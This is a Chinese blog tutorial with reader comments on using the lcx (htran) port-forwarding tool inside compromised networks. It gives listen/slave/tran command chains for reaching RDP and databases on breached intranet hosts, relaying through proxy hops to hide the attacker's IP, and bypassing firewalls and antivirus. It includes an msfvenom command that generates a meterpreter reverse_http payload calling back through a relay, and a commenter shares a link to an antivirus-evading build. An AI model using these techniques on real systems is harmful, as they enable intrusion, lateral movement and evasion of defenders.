Lcx的多种用法:3个功能+9个参数,你会怎么玩?

来源:互联网 发布:网络机顶盒品牌 编辑:程序博客网 时间:2024/04/28 17:49
原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载

01.png

前言

记得刚开始接触黑客技术的时候是2014年,那时候struts2漏洞利用工具正流行,当时也下载了一个玩玩,上传了很多的菜刀木马,不过这时候就有个问题:无法连接到被控制计算机的3389。百度一下,原来对面的服务器是在内网中,没有做映射是连接不到的,但是可以借助一个工具进行端口转发来实现连接处于内网的3389服务器,原文链接(百度搜索lcx第一条出现的):http://sec.chinabyte.com/225/8848725.shtml随着时间的推移,对于这个工具的认识也在不断加深中,现在我来分享一下。第一次写文章,有些错误欢迎大牛指正,中间会有些感(fei)悟(hua)不想看的可以直接看进阶篇,高级篇或者总结。

关于

那篇文章大概意思是说连接内网的3389需要4步:

1:确定被控制计算机的内网ip

2:被控制的计算机执行”lcx -slave 你的计算机ip 51 被控制计算机的ip 3389”

3:本机执行”lcx -listen 51 10000”

4:用mstsc 连接 “127.0.0.1:10000”

看完这篇文章lcx给我的第一印象就是用来连接内网服务器的3389,不过其实这只是冰山一角。

正文

基础篇连接

随着对网络的认识不断深入我发现上面那篇文章其实有些地方可以改进,原文的意思就是如何连接处于内网中被控制的计算机,所以可以用以下步骤实现:

前提:你的计算机处于公网,被控制的计算机能访问外网

1:本机执行”lcx –listen 40050 10000”

2:被控制的计算机执行”lcx -slave 你的ip 端口 127.0.0.1 3389”

3:用mstsc 连接 “127.0.0.1:10000”

有些新手可能会好奇为啥slave 的第三个参数是127.0.0.1 这里先看下lcx的使用帮助:

======================== HUC Packet TransmitTool V1.00 =======================

=========== Code by lion & bkbll, Welcometo [url]http://www.cnhonker.com[/url] ==========

 

[Usage of Packet Transmit:]

  lcx-<listen|tran|slave> <option> [-log logfile]

 

[option:]

 -listen <ConnectPort> <TransmitPort>

  -tran<ConnectPort> <TransmitHost> <TransmitPort>

 -slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>

Lcx有两大功能,一个是端口转发(listen和slave成对使用),另一个是端口映射(tran)。

端口转发:

Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>

Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>

所以既然我们只需要连接那台服务器,我们只需要设置目标ip参数为127.0.0.1就好了(127.0.0.1 Localhost 即本机)因为别忘了slave是在对面服务器执行的。当然了这里补充一点目标端口号是可以换的比如3306这样你就可以连接对面的MySQL数据库了。有些人肯定要问了如果把这个127.0.0.1换成其他的ip会怎么样,如果你尝试过了那么恭喜你发现了新功能,你可以访问更多的3389。

1、本机执行lcx -listen 40050 10000

02.png

2、被控制服务器执行 lcx -slave 1.1.1.1 40050 10.10.0.3 3389

03.png

3、连接成功之后中间就出现了一条通道,可以互相传输数据

04.png

4、我们打开mstsc 输入127.0.0.1:10000

05.png

Ok,这样我们就能访问内网的其他机子了,理论上来说被控制的服务器能访问到的我们都能访问,其实就是以被攻击的服务器做跳板。扩展一点讲,还记得listen的参数么? 第一个是监听slave请求的端口,另一个监听端口,这个监听端口我们可以访问,当然别人也可以访问(一般用来共享)。

06.png

在1.1.1.1做好监听并且对面执行slave且成功的话1.1.1.2和1.1.1.3就可以用mstsc连接1.1.1.1:10000来访问到对面10.10.0.3的3389了

端口映射:

Lcx -tran <等待连接的端口> <目标ip> <目标端口>

上面的端口转发中我们的前提是在公网中,但是大部分情况下我们的电脑都是接着路由器的所以我们需要设置映射,当然了是在路由器上设置,我拿我的路由器做下演示:

07.png

不同人的路由器上的显示可能不一样,也可能是端口映射或者NAT。总之看到类似的就差不多了,不过有些路由器可能没有外部端口和内部端口之分,这样的都是等端口映射,类似于Lcx -tran中 <等待连接的端口>和<目标端口一样>,上面的是我的路由器。

关于路由器映射的就画一张图就能解决:

08.png

1、192.168.0.10监听40000端口

2、对面的服务器执行slave穿过防火墙经过internet访问到路由器的40050端口,然后路由器根据规则将40050的数据映射到内网192.168.0.10的40000上,这样连接就建立成功了

3、连接192.168.0.10:50000

这样就能访问到对面10.10.0.3的3389  不太理解的朋友可以参照图1 2 3 4

Lcx -tran 1920 127.0.0.1 21

09.png

这样我访问本机的1920端口就能访问到本机的ftp了,当然把127.0.0.1换成其他的ip都可以。

进阶篇隐藏

有些朋友可能会说基础篇中tran就出现了一次,不过在这里会出现四次 :) ok,进入正题,一般来说我们进行渗透的时候都需要注意自身的安全,最基础的保护就是隐藏自己的ip。说到隐藏ip许多朋友会想到用代理或者vpn,这里呢我们就说用lcx,当然会涉及到代理服务器,看过基础篇的朋友的应该可以直接看懂下面的图。

前提:你拥有一台公网的服务器,或者有网关权限的内网机器(不知道说的对不对总之就是可以设置端口映射,让外网可以直接访问到内网的机器),你需要连接的是一台公网机器

一般来说用Tran来隐藏访问公网机器或者有网关权限的内网机器

1、如果你拥有公网机器

10.png

1、被控制的服务器运行tran 50000 3.3.3.3 3389

2、我们连接2.2.2.2:50000这样我们就能连接到3.3.3.3的3389了,此时我们打开cmd窗口运行netstat –an | find “3389”会惊奇的发现

TCP  3.3.3.3:3389  2.2.2.2:xxxxx ESTABLISHED

连接本机3389端口的是2.2.2.2这样对面记录到的连接信息都是2.2.2.2的,除非对面拿下2.2.2.2才能看到是谁连接了3.3.3.3

2、如果你拥有取得网关权限的内网机器

11.png

比刚刚多的就是一个内网出口需要做个映射,就像前面给自己的路由器上面做映射一样,这里要注意了一般来说内网的环境都是挺复杂的所以一般来说想实现上面的话比较困难,推荐用公网机器做跳板,当然了大牛自然有方法拿到网关权限。

通常情况下我们需要连接内网中的机器,也就是需要在被控制的机器上运行slave,那怎么隐藏呢,可能有些小伙伴已经想到了,参照前面的图5可以看出我们只需在跳板上执行listen之后连接就好了。当然了如果跳板在内网同上设置映射。还有内网机器能访问外网

12.png

这样对面看到的连接请求都是来自2.2.2.2的。

然后展示一张比较完整的图。

01.png

我们拿到了对面一台内网的机子,这里我是在对面的服务器上开了socks代理或者vpn然后我们拥有两台有网关权限的跳板。最终结果是对面你的记录都来自3.3.3.3,可事实上飞的老远了……

先做好几个映射,一个是3.3.3.3上面的 50000端口 映射到172.25.0.2的30000端口还有个是2.2.2.2上面做两个映射 40000端口映射到 172.24.0.2 的40050端口 ,65532端口映射到 172.24.0.2的50000端口

1、 在172.25.0.2上执行lcx –tran 30000 2.2.2.2 40000

2、 在172.24.0.2上执行lcx –listen 40050 50000

3、 在10.10.0.2上执行 lcx –slave 3.3.3.3 50000 127.0.0.1 1080

4、 最后我们连接2.2.2.2:65532

看起来似乎有点复杂,讲下流程:在执行第三步的时候10.10.0.2发起了slave请求先穿过自己的防火墙访问到3.3.3.3的50000端口,接着3.3.3.3把数据映射到内网172.25.0.2的30000端口上,因为172.25.0.2运行了tran 30000 2.2.2.2 40000 所以172.25.0.2会把数据映射到2.2.2.2的40000端口上,先穿过自己的防火墙到达2.2.2.2的40000端口,最后2.2.2.2把40000端口的数据映射到172.24.0.2的40050端口,至此连接成功。然后我们的192.168.0.10经过各种proxy、vpn、tor什么的连接2.2.2.2的65532端口就可以连接到172.24.0.2的50000端口,最后到达10.10.0.2的1080端口。

我已经放弃追查了。

能看完这么绕的话先感谢下,然后你认为这就完了?

高级篇突破

在内网渗透的过程中会遇到各种环境,那lcx又会怎样发挥呢?

这里先讲一下我对正向连接和反向连接的理解:其实没有所谓的正向和反向,只有谁连接谁罢了。A→B 对于我们来说我们正向连接了B,但是在B看来我们是反向连接了它同理B→A在对面看来就是B正向连接了A。理解了这一点看下面的内容可能会比较方便。

假设1:

1、 你获得了一台DMZ区域的服务器(外网ip 2.2.2.2 内网ip 10.10.0.2),可以这么理解:那台服务器所有开放的端口我们都能直接连接,当然了我们可以直接连接3389上去

2、 这台服务器不能直接访问外网,你也没有拿下出口点。

3、 对面的内网没有一台服务器能直接访问外网

在上面的情况中我们怎样才能让10.10.0.2上网呢,当然了如果这台服务器能连接外网的话,你就可以让对面所有的内网机器都能上网。联系前面讲的,可能有些朋友已经想到了。

13.png

先补充下192.168.0.10开了代理服务器,然后有些朋友注意到了这个slave是在本机上执行的,为什么要这么执行,前面的假设中讲到了这个10.10.0.2是不能直接访问外网的,不过可以开端口而且别人都可以连接,可能受到以前的影响,认为slave都是在对面执行的,其实不然,有些特殊情况是可以反过来用的:对面开监听我们执行slave,在对面我们看来是反向连接了,但是在我们看来我们是去正向连接的(就像你直接访问对面的3389),防火墙也不会拦截,这样这可以连接成功,然后对面使用代理工具连接10.10.0.2的1080端口就可以访问外网了。当然了也可以在10.10.0.2上开个代理服务器然后使用二级代理功能。不过用不用都无所谓反正对面只需要访问10.10.0.2:1080就可以访问到外面的世界了。

假设2:

1、 你拿下了两台内网服务器A和B

2、 服务器B不能访问任何机器(自己的话当然可以了),只能让别人访问

遇到这种情况比较好处理,只需参考上面一个假设就能上网了,B开listen ,A执行slave这样一来所有的请求ip都是127.0.0.1。

再说一个实例:

有一次渗透中遇到了一个比较蛋疼的情况,有一台服务器我3389上去了但是上面有一个防火墙软件,有个特性:允许连接内网的请求,不能直接访问外网。我的目的是抓密码。然后我上传了/bind_tcp和_bind_tcp,/reverse_tcp和_reverse_tcp都被杀了,然后上传mimikatz2.1也被杀了(wce getpass…),然后无奈试了下http居然没有被杀,但是http和https只有reverse没有bind ,所以这种情况就可以使用一个映射来实现,拿一台能访问外网的内网服务器(10.10.0.2)做个映射(lcx –tran 50000 2.2.2.2 40000),然后用msfvenom生成一个攻击荷载

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=10.10.0.2 LPORT=50000 -f exe > temp.exe

注意meterpreter后面是”_ “这样可以少传输很多数据避免bug,具体的“/”和“_”的区别参照书籍。这样就可以绕过对面的防火墙了(偷懒不画图了)。

有些杀软有个特性会根据网络连接来拦截,只要是连接内网的就不会拦截,我之前种过一个木马,只不过远控是放在对面内网的一台服务器上面的,所以木马的连接ip是一个内网ip然后就能直接打开了木马没有做任何免杀就绕过了两个杀软。当然了如果你想让木马连接到你的电脑只需要把那个远控关了执行个映射就好了。这样就能上线到你的电脑上了。联想一下用这样的方法也可以让被控制的人查不到控制者的真实ip。把连接ip改为某个公网ip然后做个映射就好了。这样被控制的计算机上的ip显示的都是公网的(偷懒还是不画图了)。

总结

Lcx可以用来渗透内网,也可以用来隐藏自己,还可以让不能访问外网的服务器访问外网,甚至可以用来绕过某些防火墙(杀软)。

后记

1、 感谢能坚持从头看到尾的读者。

2、 希望刚入门的朋友可以多参照这篇文章使用lcx来进行内网渗透。

3、 在这要为这个东西正名,其全名是Socket data transporttool,而根据代码注释中[bkbll@mobile socket]$ gcc -o trtool trtool.c这一句,可以看到其原来的名字应该是trtool,而且是红盟的前辈bkbll所写,所谓的lcx.exe其实是lcx根据lion的代码所修改编译过的htran,所以这个工具其实不应该叫lcx,不过为了配合大家的习惯这么叫而已,可以看作是简化版本吧。

4、 后记第三条最后一个逗号之前的所有内容来自互联网。

5、 关于lcx的映射功能,windows自带的netsh也可以做到,但是需要管理员权限,有个优点重启之后还存在。相关命令(管理员权限):

    1: 查看端口映射情况netsh interface portproxy show v4tov4

    2:添加一个端口映射netsh interface portproxy add v4tov4listenport=40050 connectaddress=192.168.1.10 connectport=50000

    3:删除一个端口映射netshinterface portproxy delete v4tov4 40050(监听端口号)

6、 高级篇讲的似乎不高级但是希望读者可以多思考。

7、关于图片中的英文,由于软件的问题,用中文有些问题所以用1级英语表达了一下……

8、写在最后可以让直奔评论区的人可以看到,很多人肯定会说在内网开个代理或者VPN,然后转发出来不就好了,对于这样的人我不想多说。

9、再次感谢能坚持从头看到尾的读者。

有兴趣的同学可以联系作者深入交流,QQ号:351390754

*原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载

发表评论

已有 23 条评论

  • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复1楼

    好像是免杀版的lcx http://pan.baidu.com/s/1pLfNGLX x2pt 解压密码: freebuf

    亮了(3)
    • lupus721 (2级) 2017-02-20 回复

      @ ForWhat  检出率: 34 / 57

      亮了(1)
      • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复

        @ lupus721  233

        亮了(1)
    • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复

      @ ForWhat  lcx Linux版本 http://pan.baidu.com/s/1bp48DWz aje6 用gcc编译,可以和win下面的lcx混用,比如win执行slave Linux执行listen。

      亮了(2)
  • hkt  2017-02-20回复2楼

    文章不错,赞一下分享精神 :smile:

    亮了(1)
  • 内网终结者  2017-02-20回复3楼

    干货

    亮了(1)
  • 南拳daddy (4级) 家里蹲大学,信息安全学院, 博士后在读... 2017-02-20 回复4楼

    lcx.exe 这款工具被 黑客圈的 人用了800 年了,在用些情况下 还是能用一用的,
    但是 如果 内网 有100台 机器开了 3389 端口,或者1433 (mssql) ;3306(mysql) 等等等,
    如果你要访问这些内网的机器的话 ,那就 意味着你要执行 100 条 下面的命令;
    lcx -slave 1.1.1.1 40050 10.10.0.3 3389
    lcx -slave 1.1.1.1 40050 10.10.0.3 1433
    lcx -slave 1.1.1.1 40050 10.10.0.3 3306
    不停的 换 10.10.0.3 这个IP 连接内网 。。。

    亮了(1)
    • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复

      @ 南拳daddy  所以可以在内网机器上开个代理服务器,然后把代理服务器的端口转发出来。

      亮了(3)
      • test  2017-02-22回复

        @ ForWhat  有没有考虑过http走lcx反回来的socks,会不会掉线?

        亮了(0)
  • hh  2017-02-20回复5楼

    用什么画图工具,真漂亮

    亮了(1)
    • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复

      @ hh LanFlow

      亮了(1)
  • 我叫扛把子  2017-02-20回复6楼

    我用lcx转发了内网的web服务器,为什么连接一次断一次?

    亮了(2)
    • evil7 (4级) 入梦落樱满熏香,梦醒犹记四月谎 2017-02-21 回复

      @ 我叫扛把子 http协议是应用层的,是对tcp/ip的高级封包,如果你转发的服务器设置的不是keep-alive-session或者不是在进行流传输stream-session,通讯完毕session被断开是理所应当的,http协议的close设定,单次通信完毕断开tcp链接。而tcp是属于底层的,在操作自行断开前和回话完全超时前会一直保持等待,它的通信其实就是属于二进制流传输,在没出现通讯截断和两端决定关闭前会保持链接。所有协议为通信,一切通信皆IO,多学基础就迎刃而解了。

      亮了(4)
  • 屌丝绅士 (3级) 做自己的自己 和平年代的炮灰,战争年代的爆破鬼才 2017-02-20 回复7楼

    不错 学习了

    亮了(1)
  • 补丁君 (3级) 皮皮虾训练场长 2017-02-20 回复8楼

    可见作者对网络架构理解的功底之深~
    得好好消化下。。。

    亮了(2)
  • 金日成  2017-02-20回复9楼

    @ 我叫扛把子。传统lcx不适合转发web服务,用earthworm里的三个 lcx 选项就可以了,它这个是改进版。

    亮了(3)
    • ForWhat (1级) 太懒了,没有说明。 2017-02-20 回复

      @ 金日成 涨知识了,正为lcx的端口映射bug烦恼,有时候会出现连接上限。反正方法是通用的,工具可以换 :)

      亮了(2)
  • Black-Hole (5级) FreeBuf专栏作者 2017-02-20 回复10楼

    学习了,感谢

    亮了(1)
    • 匿名者  2017-02-22回复

      @ Black-Hole  神奇的马甲再次出现了

      亮了(0)
  • WSTONE (1级) 2017-02-20 回复11楼

    https://github.com/powerhacker/lcx/blob/master/lcx.c

    亮了(2)
  • 维克斯 (2级) 维护一个系统的更好方法就是去入侵它 2017-02-20 回复12楼

    大晚上的 (◔◡◔) tmd 全看完了 高级那段挺喜欢 老哥 稳哦! 下一篇赶紧出哦 :wink:

    亮了(2)
  • 鲁大师  2017-02-21回复13楼

    还是hd.exe比这好用

    亮了(2)
  • Jumbo (5级) 论坛https://www.chinabaiker.com 2017-02-21 回复14楼

    lcx作者想的都没你这么复杂

0 0